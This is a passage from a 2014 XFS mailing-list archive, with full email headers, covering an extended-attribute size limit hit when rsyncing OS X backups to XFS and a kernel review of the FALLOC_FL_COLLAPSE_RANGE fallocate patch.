+Different filesystem may implement different limitatios on the granularity of +the operation. Most filesystem will limit operations to filesystem block size +boundaries, but this boundary may be larger or smaller depending +on the filesystem and/or the configuration of the filesystem or file. + +If filesystem has such limitation on granularity, It will return error(EINVAL). + .SH RETURN VALUE On success, .BR fallocate () -- 1.7.9.5 From sblood@gmail.com Sun Feb 2 08:33:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B8A87FA7 for ; Sun, 2 Feb 2014 08:33:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B97C304053 for ; Sun, 2 Feb 2014 06:33:36 -0800 (PST) X-ASG-Debug-ID: 1391351613-04cbb00c2997aa0001-NocioJ Received: from mail-lb0-f174.google.com (mail-lb0-f174.google.com [209.85.217.174]) by cuda.sgi.com with ESMTP id wxwIZB6EJwpmKXyc (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 02 Feb 2014 06:33:34 -0800 (PST) X-Barracuda-Envelope-From: sblood@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.174] Received: by mail-lb0-f174.google.com with SMTP id l4so4651661lbv.19 for ; Sun, 02 Feb 2014 06:33:33 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :message-id:references:to; bh=vb6GW1ZsSBUsJQZHtb/L+D3rBr/vl+OsoIOkM//b08I=; b=CeDtqbXxRWE+ZEOyJsAmbie6yZLO4v9/CNbMurICD/da6vw3/3zqJejW9lemKnOE1L OQjdFiTyBh6QkNx0FHaXt/QQDyMNQQ+e0VyXnIw+wrpkkELUaRwpE6EZj3XU9RRDN9ag si+Pg+dkklSCAnxRPco6ORXC4lzZGoKf1Lp2WFWtT+mcLTK9J0IGFBnIthtzRq8II7Af eNDbuRwCM4XXJ7bgVg60y8aWT+AGmPZ1Te5fMBrMU+VUc0Z/CGsn6TFObQ6InmdcIgMj WG+icjycpDVMwqp1jd0Awyb8wGxvyFZksKVYJvfucNTDE/idIADgowK9jlMFt1iIoz3q JaxA== X-Received: by 10.152.28.7 with SMTP id x7mr51437lag.57.1391351613063; Sun, 02 Feb 2014 06:33:33 -0800 (PST) Received: from [192.168.0.13] (c213-89-170-159.bredband.comhem.se. [213.89.170.159]) by mx.google.com with ESMTPSA id g8sm24837066lae.1.2014.02.02.06.33.31 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 02 Feb 2014 06:33:32 -0800 (PST) Content-Type: multipart/alternative; boundary="Apple-Mail=_1B27623B-2BE3-4E3A-AF52-BD37A5B97BBA" Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Extended attributes limit in Linux From: Sun_Blood X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> Date: Sun, 2 Feb 2014 15:33:27 +0100 Cc: Jeff Liu , xfs@oss.sgi.com Message-Id: <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> To: Vyacheslav Dubeyko X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: mail-lb0-f174.google.com[209.85.217.174] X-Barracuda-Start-Time: 1391351614 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144751 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --Apple-Mail=_1B27623B-2BE3-4E3A-AF52-BD37A5B97BBA Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On 1 feb 2014, at 15:08, Vyacheslav Dubeyko wrote: >=20 > On Jan 31, 2014, at 10:25 PM, Sun_Blood wrote: >=20 >>=20 >> On 31 jan 2014, at 15:33, Jeff Liu wrote: >>=20 >>>=20 >>> On 01/31 2014 22:21 PM, Vyacheslav Dubeyko wrote: >>>> On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: >>>>=20 >>>>>>=20 >>>>>> I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I = have >>>>>> failed on 3803 bytes size of xattr. So, I suppose that you have = Mac OS X >>>>>> Lion. And EAs is larger under Lion yet. >>>>>>=20 >>>>>> What version of Mac OS X have you? >>>>>>=20 >>>>> Yup, Mountain Lion v10.8.4 :) >>>>>=20 >>>>=20 >>>> I suspect that xattrs with significant size is stored in compressed >>>> state on HFS+. I implemented support of compressed xattrs partially = but >>>> I don't share this code yet. But, yes, EAs with size greater than = 64 KB >>>> can be a problem. >>=20 >>=20 >> FYI, Example of output from one of the failing files. First from OS X = and then same file after failed copy to XFS. >>=20 >> OS X Maverik: >> file: "/Users/username/Pictures/iPhoto = Library/Database/apdb/BigBlobs.apdb" >> type: "\0\0\0\0" >> creator: "\0\0\0\0" >> attributes: avbstclinmedz >> created: 01/25/2014 11:43:17 >> modified: 01/28/2014 20:02:46 >>=20 >>=20 >> Ubunutu=20 >> getfattr: Removing leading '/' from absolute path names >> # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto = Library/Database/BigBlobs.apdb >> user.com.apple.quarantine=3D"0006;52e39545;iPhoto;=94 >=20 >=20 > Sorry, but I don't quite follow your thought. What do you show by this = output? > What do you mean? Could you describe in more details? >=20 > Thanks, > Vyacheslav Dubeyko. Sorry late reply. The output is just to show what happen after I = transfer a file from OS X to XFS that has EA bigger then 64k(I think). = When I try for example to rsync this file from OS X to Linux XFS I get = this error: rsync: rsync_xal_set: = lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Pictures/iPhoto = Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") failed: = Operation not permitted (1) But also rsync can give this error. rsync: rsync_xal_set: = lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/IMG_6872-Edit.tif"= ","user.com.apple.ResourceFork") failed: Argument list too long (7) Is this 2 errors related? I will make a bug report for rsync also that it should not try to copy = files with EA bigger then the destination can handle. But it would be = great if XFS could handle this files and be fully compatible with OS X = backups. //Martin= --Apple-Mail=_1B27623B-2BE3-4E3A-AF52-BD37A5B97BBA Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=windows-1252
On 1 feb 2014, at 15:08, Vyacheslav = Dubeyko <slava@dubeyko.com>= wrote:


On Jan 31, 2014, at 10:25 PM, = Sun_Blood wrote:


On 31 jan 2014, at = 15:33, Jeff Liu <jeff.liu@oracle.com> = wrote:


On 01/31 2014 22:21 PM, = Vyacheslav Dubeyko wrote:
On Fri, = 2014-01-31 at 21:39 +0800, Jeff Liu wrote:


I checked the same under Mac = OS X 10.6.8 (Snow Leopard). And I have
failed on 3803 bytes size of = xattr. So, I suppose that you have Mac OS X
Lion. And EAs is larger = under Lion yet.

What version of Mac OS X have = you?

Yup, Mountain Lion v10.8.4 = :)


I suspect that xattrs with significant size = is stored in compressed
state on HFS+. I implemented support of = compressed xattrs partially but
I don't share this code yet. But, = yes, EAs with size greater than 64 KB
can be a = problem.


FYI, Example of output = from one of the failing files. First from OS X and then same file after = failed copy to XFS.

OS X Maverik:
file: = "/Users/username/Pictures/iPhoto = Library/Database/apdb/BigBlobs.apdb"
type: "\0\0\0\0"
creator: = "\0\0\0\0"
attributes: avbstclinmedz
created: 01/25/2014 = 11:43:17
modified: 01/28/2014 20:02:46


Ubunutu 
getfattr: Removing = leading '/' from absolute path names
# file: = srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto = Library/Database/BigBlobs.apdb
user.com.apple.quarantine=3D"0006;52e395= 45;iPhoto;=94


Sorry, but I don't quite follow = your thought. What do you show by this output?
What do you mean? = Could you describe in more details?

Thanks,
Vyacheslav = Dubeyko.

Sorry late reply. The output = is just to show what happen after I transfer a file from OS X to XFS = that has EA bigger then 64k(I think). When I try for example to rsync = this file from OS X to Linux XFS I get this error:
rsync: = rsync_xal_set: = lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Pictures/iPhoto = Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") failed: = Operation not permitted (1)

But also rsync can = give this error.
rsync: rsync_xal_set: = lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/IMG_6872-Edit.tif"= ","user.com.apple.ResourceFork") failed: Argument list too long = (7)

Is this 2 errors = related?

I will make a bug report for rsync = also that it should not try to copy files with EA bigger then the = destination can handle. But it would be great if XFS could handle this = files and be fully compatible with OS X = backups.

//Martin= --Apple-Mail=_1B27623B-2BE3-4E3A-AF52-BD37A5B97BBA-- From jeff.liu@oracle.com Sun Feb 2 09:13:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DE30E7F8D for ; Sun, 2 Feb 2014 09:13:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 560C2AC001 for ; Sun, 2 Feb 2014 07:12:57 -0800 (PST) X-ASG-Debug-ID: 1391353972-04cb6c6de39ce10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Y8gRO4Jm1YGvNnSv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 07:12:52 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s12FCmUc021383 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 2 Feb 2014 15:12:48 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s12FClbf016113 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 2 Feb 2014 15:12:48 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s12FCknQ029742; Sun, 2 Feb 2014 15:12:47 GMT Received: from [192.168.1.101] (/218.58.148.205) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 02 Feb 2014 07:12:46 -0800 Message-ID: <52EE6069.7090905@oracle.com> Date: Sun, 02 Feb 2014 23:12:41 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Sun_Blood , Vyacheslav Dubeyko CC: xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391353972 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144752 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/02 2014 22:33 PM, Sun_Blood wrote: > > On 1 feb 2014, at 15:08, Vyacheslav Dubeyko > wrote: > >> >> On Jan 31, 2014, at 10:25 PM, Sun_Blood wrote: >> >>> >>> On 31 jan 2014, at 15:33, Jeff Liu >> > wrote: >>> >>>> >>>> On 01/31 2014 22:21 PM, Vyacheslav Dubeyko wrote: >>>>> On Fri, 2014-01-31 at 21:39 +0800, Jeff Liu wrote: >>>>> >>>>>>> >>>>>>> I checked the same under Mac OS X 10.6.8 (Snow Leopard). And I have >>>>>>> failed on 3803 bytes size of xattr. So, I suppose that you have >>>>>>> Mac OS X >>>>>>> Lion. And EAs is larger under Lion yet. >>>>>>> >>>>>>> What version of Mac OS X have you? >>>>>>> >>>>>> Yup, Mountain Lion v10.8.4 :) >>>>>> >>>>> >>>>> I suspect that xattrs with significant size is stored in compressed >>>>> state on HFS+. I implemented support of compressed xattrs partially but >>>>> I don't share this code yet. But, yes, EAs with size greater than 64 KB >>>>> can be a problem. >>> >>> >>> FYI, Example of output from one of the failing files. First from OS X >>> and then same file after failed copy to XFS. >>> >>> OS X Maverik: >>> file: "/Users/username/Pictures/iPhoto >>> Library/Database/apdb/BigBlobs.apdb" >>> type: "\0\0\0\0" >>> creator: "\0\0\0\0" >>> attributes: avbstclinmedz >>> created: 01/25/2014 11:43:17 >>> modified: 01/28/2014 20:02:46 >>> >>> >>> Ubunutu >>> getfattr: Removing leading '/' from absolute path names >>> # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto >>> Library/Database/BigBlobs.apdb >>> user.com.apple.quarantine="0006;52e39545;iPhoto;” >> >> >> Sorry, but I don't quite follow your thought. What do you show by this >> output? >> What do you mean? Could you describe in more details? >> >> Thanks, >> Vyacheslav Dubeyko. > > Sorry late reply. The output is just to show what happen after I > transfer a file from OS X to XFS that has EA bigger then 64k(I think). > When I try for example to rsync this file from OS X to Linux XFS I get > this error: > rsync: rsync_xal_set: > lsetxattr(""/srv/nas/home/apple_bak_rsync/xxxxxx/Pictures/iPhoto > Library/Database/BigBlobs.apdb"","user.com.apple.FinderInfo") failed: > Operation not permitted (1) > > But also rsync can give this error. > rsync: rsync_xal_set: > lsetxattr(""/srv/danne/extern2/1000_EXT/2013/2013-03-05/IMG_6872-Edit.tif"","user.com.apple.ResourceFork") > failed: Argument list too long (7) > > Is this 2 errors related? Those errors are unrelated IMO, the first one is due to the permission rules but I'm not sure the root cause, the second one is occurred as the EA value is larger than 64K I guess. > > I will make a bug report for rsync also that it should not try to copy > files with EA bigger then the destination can handle. But it would be > great if XFS could handle this files and be fully compatible with OS X > backups. 64K size is not limited by XFS directly, it is limited by VFS setxattr syscall. IOWs, EA set operation is not yet get into XFS when "Argument list too long" error is returned, so I think you would ran into the same error on other file systems which are support 64K EA value size as well. Thanks, -Jeff From willy@parisc-linux.org Sun Feb 2 09:16:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 58A3D7F8D for ; Sun, 2 Feb 2014 09:16:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 14AA98F8040 for ; Sun, 2 Feb 2014 07:16:28 -0800 (PST) X-ASG-Debug-ID: 1391354186-04bdf0121faaca0001-NocioJ Received: from mail.parisc-linux.org ([192.25.206.14]) by cuda.sgi.com with ESMTP id axQKMNWG8BNE6lxX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 07:16:26 -0800 (PST) X-Barracuda-Envelope-From: willy@parisc-linux.org X-Barracuda-Apparent-Source-IP: 192.25.206.14 Received: by mail.parisc-linux.org (Postfix, from userid 26919) id 2FBC749401B; Sun, 2 Feb 2014 08:16:25 -0700 (MST) Date: Sun, 2 Feb 2014 08:16:24 -0700 From: Matthew Wilcox To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140202151624.GK20939@parisc-linux.org> X-ASG-Orig-Subj: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.18 (2008-05-17) X-Barracuda-Connect: UNKNOWN[192.25.206.14] X-Barracuda-Start-Time: 1391354186 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144752 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Sun, Feb 02, 2014 at 02:41:34PM +0900, Namjae Jeon wrote: > The semantics of this flag are following: > 1) It collapses the range lying between offset and length by removing any data > blocks which are present in this range and than updates all the logical > offsets of extents beyond "offset + len" to nullify the hole created by > removing blocks. In short, it does not leave a hole. > 2) It should be used exclusively. No other fallocate flag in combination. > 3) Offset and length supplied to fallocate should be fs block size aligned > in case of xfs and ext4. > 4) Collaspe range does not work beyond i_size. What if the file is mmaped at the time somebody issues this command? Seems to me we should drop pagecache pages that overlap with the removed blocks. If the removed range is not a multiple of PAGE_SIZE, then we should also drop any pagecache pages after the removed range. -- Matthew Wilcox Intel Open Source Technology Centre "Bill, look, we understand that you're interested in selling us this operating system, but compare it to ours. We can't possibly take such a retrograde step." From willy@parisc-linux.org Sun Feb 2 09:21:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D8D8F7F8E for ; Sun, 2 Feb 2014 09:21:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69ACCAC001 for ; Sun, 2 Feb 2014 07:21:09 -0800 (PST) X-ASG-Debug-ID: 1391354467-04cbb00c2b98db0001-NocioJ Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14]) by cuda.sgi.com with ESMTP id 2BvwDydgJzyq7rCB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 07:21:08 -0800 (PST) X-Barracuda-Envelope-From: willy@parisc-linux.org X-Barracuda-Apparent-Source-IP: 192.25.206.14 Received: by mail.parisc-linux.org (Postfix, from userid 26919) id 2CE9449401B; Sun, 2 Feb 2014 08:21:07 -0700 (MST) Date: Sun, 2 Feb 2014 08:21:06 -0700 From: Matthew Wilcox To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140202152106.GL20939@parisc-linux.org> X-ASG-Orig-Subj: Re: [PATCH RESEND 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1391319694-3089-1-git-send-email-linkinjeon@gmail.com> <20140202151624.GK20939@parisc-linux.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140202151624.GK20939@parisc-linux.org> User-Agent: Mutt/1.5.18 (2008-05-17) X-Barracuda-Connect: palinux.external.hp.com[192.25.206.14] X-Barracuda-Start-Time: 1391354468 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144753 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Feb 02, 2014 at 08:16:24AM -0700, Matthew Wilcox wrote: > On Sun, Feb 02, 2014 at 02:41:34PM +0900, Namjae Jeon wrote: > > The semantics of this flag are following: > > 1) It collapses the range lying between offset and length by removing any data > > blocks which are present in this range and than updates all the logical > > offsets of extents beyond "offset + len" to nullify the hole created by > > removing blocks. In short, it does not leave a hole. > > 2) It should be used exclusively. No other fallocate flag in combination. > > 3) Offset and length supplied to fallocate should be fs block size aligned > > in case of xfs and ext4. > > 4) Collaspe range does not work beyond i_size. > > What if the file is mmaped at the time somebody issues this command? > Seems to me we should drop pagecache pages that overlap with the > removed blocks. If the removed range is not a multiple of PAGE_SIZE, > then we should also drop any pagecache pages after the removed range. Oops, forgot to add "and if it is a multiple of page size, then we need to update the offsets of any pages after the removed page". We should probably start easy though; just drop all pages that overlap the beginning of the affected range to the end of the file. At some later point, if there's demand, we can add the optimisation to adjust the offsets of pages still in the cache. -- Matthew Wilcox Intel Open Source Technology Centre "Bill, look, we understand that you're interested in selling us this operating system, but compare it to ours. We can't possibly take such a retrograde step." From jeff.liu@oracle.com Sun Feb 2 09:22:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ECA4E7F96 for ; Sun, 2 Feb 2014 09:22:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CBCDB304070 for ; Sun, 2 Feb 2014 07:22:32 -0800 (PST) X-ASG-Debug-ID: 1391354551-04cbb00c2898e20001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id LUSswEu0ln4EXiSN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 02 Feb 2014 07:22:31 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s12FMRsP027397 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 2 Feb 2014 15:22:27 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s12FMQTe006538 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 2 Feb 2014 15:22:26 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s12FMQOf006531; Sun, 2 Feb 2014 15:22:26 GMT Received: from [192.168.1.101] (/218.58.148.205) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 02 Feb 2014 07:22:26 -0800 Message-ID: <52EE62AD.4030509@oracle.com> Date: Sun, 02 Feb 2014 23:22:21 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Sun_Blood , Vyacheslav Dubeyko CC: xfs@oss.sgi.com Subject: Re: Extended attributes limit in Linux References: <52EB64DC.4020603@oracle.com> <1391165083.4275.7.camel@ubuntu> <52EB960D.607@oracle.com> <1391172723.4275.11.camel@ubuntu> <52EBA783.1080801@oracle.com> <1391178074.4275.19.camel@ubuntu> <52EBB431.50301@oracle.com> <6C94A326-DADE-4A32-97F6-AE84E9F57777@gmail.com> <1D87A7C9-988F-4F61-A577-67300DAF2554@dubeyko.com> <14FE2575-4C84-43B8-9992-F91ABE2B6F26@gmail.com> <52EE6069.7090905@oracle.com> X-ASG-Orig-Subj: Re: Extended attributes limit in Linux In-Reply-To: <52EE6069.7090905@oracle.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391354551 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144753 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/02 2014 23:12 PM, Jeff Liu wrote: > > On 02/02 2014 22:33 PM, Sun_Blood wrote: >>>> FYI, Example of output from one of the failing files. First from OS X >>>> and then same file after failed copy to XFS. >>>> >>>> OS X Maverik: >>>> file: "/Users/username/Pictures/iPhoto >>>> Library/Database/apdb/BigBlobs.apdb" >>>> type: "\0\0\0\0" >>>> creator: "\0\0\0\0" >>>> attributes: avbstclinmedz >>>> created: 01/25/2014 11:43:17 >>>> modified: 01/28/2014 20:02:46 >>>> >>>> >>>> Ubunutu >>>> getfattr: Removing leading '/' from absolute path names >>>> # file: srv/nas/home/apple_bak_rsync/username/Pictures/iPhoto >>>> Library/Database/BigBlobs.apdb >>>> user.com.apple.quarantine="0006;52e39545;iPhoto;” >>> >>> >>> Sorry, but I don't quite follow your thought. What do you show by this >>> output? >>> What do you mean? Could you describe in more details? >>> >>> Thanks, >>> Vyacheslav Dubeyko. >> >> Sorry late reply. The output is just to show what happen after I >> transfer a file from OS X to XFS that has EA bigger then 64k(I think). >> When I try for example to rsync this file from OS X to Linux XFS I get >> this error: >> rsync: rsync_xal_set: >> 